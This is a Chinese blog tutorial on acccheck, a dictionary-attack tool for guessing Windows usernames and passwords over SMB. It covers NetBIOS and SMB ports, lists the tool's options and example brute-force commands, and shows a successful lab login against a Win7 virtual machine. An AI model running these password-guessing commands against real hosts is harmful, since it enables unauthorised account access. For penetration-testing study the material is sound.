破解使用SMB协议的Windows用户密码:acccheck

一.工作原理

Acccheck是一款针对微软的SMB协议的探测工具(字典破解用户名和密码),本身不具有漏洞利用的能力。

SMB协议SMB(Server Message Block)通信协议主要是作为Microsoft网络的通讯协议,它是一种网络层次协议,使用了NetBIOS的应用程序接口(API),最近微软又把 SMB 改名为 CIFS(Common Internet File System)。

 

首先提到的是NetBios,NetBios是Network Basic Input/Output System的缩写,提供了一种允许局域网内不同电脑能够通信的功能。严格来说,NetBios是一套API,而并不是一个网络协议。如今,我们使用的网络协议栈是TCP/IP协议栈,在Windows操作系统上,NetBios运行在NetBios over TCP/IP的协议上,NetBios over TCP/IP(简称NBT)是一个网络协议,允许以前使用NetBios API的应用程序能够在现代的TCP/IP网络中。如下图:

 

再说SMB,它有两种运行方式,第一种运行在NBT(NetBIOS over TCP/IP)上,如下图:

 

使用的是UDP的137和138端口以及TCP的137和139的端口。

第二种是直接运行在TCP和UDP协议之上,使用的是445端口,可以称为"Direct hosting of SMB over TCP/IP"。

总结:Windows主机上文件打印、文件共享等都通过SMB协议来实现,而SMB通过两种方式运行在139和445端口之上。

 二.命令格式

acccheck [-t{IP}|-T{FILE}][-p,-P,-u,-U,-v]

三.常用参数

       #以下两个选项必须使用一个来确定目标
-t #使用单个ip地址目标 -T #使用包含多个ip地址的文件 #常用选项
-p #单个密码 -P #密码字典文件 -u #单个用户名 -U #用户字典文件 -v #输出详细破解内容

四.实践

举例说明用法:

acccheck -t 10.10.10.1                              #Administrator+空密码
acccheck -t 10.10.10.1 -P password.txt #Administrator+密码字典 acccehck -t 10.10.10.1 -U users.txt -P password.txt #用户名字典+密码字典 acccheck -t 10.10.10.1 -u administrator -p password #用户名+密码

首先在虚拟机中打开win7系统,开启SMB服务,并且创建一个用户名和密码都是test的账户,在cmd中输入netstat -ano查看打开的端口

可以看到139和445端口都是开放的,这是在kail中输入命令

# acccheck -t 192.168.56.101 -u test -p test -v
Host:192.168.56.101, Username:'test', Password:'test'

        SUCCESS.... connected to 192.168.56.101 with username:'test' and password:'test'

End of Scan

可以看到成功的连接上了win7,同时还可以自己添加字典文件进行破解。

 

posted @ 2017-12-22 15:28  思却  阅读(7101)  评论(0编辑  收藏  举报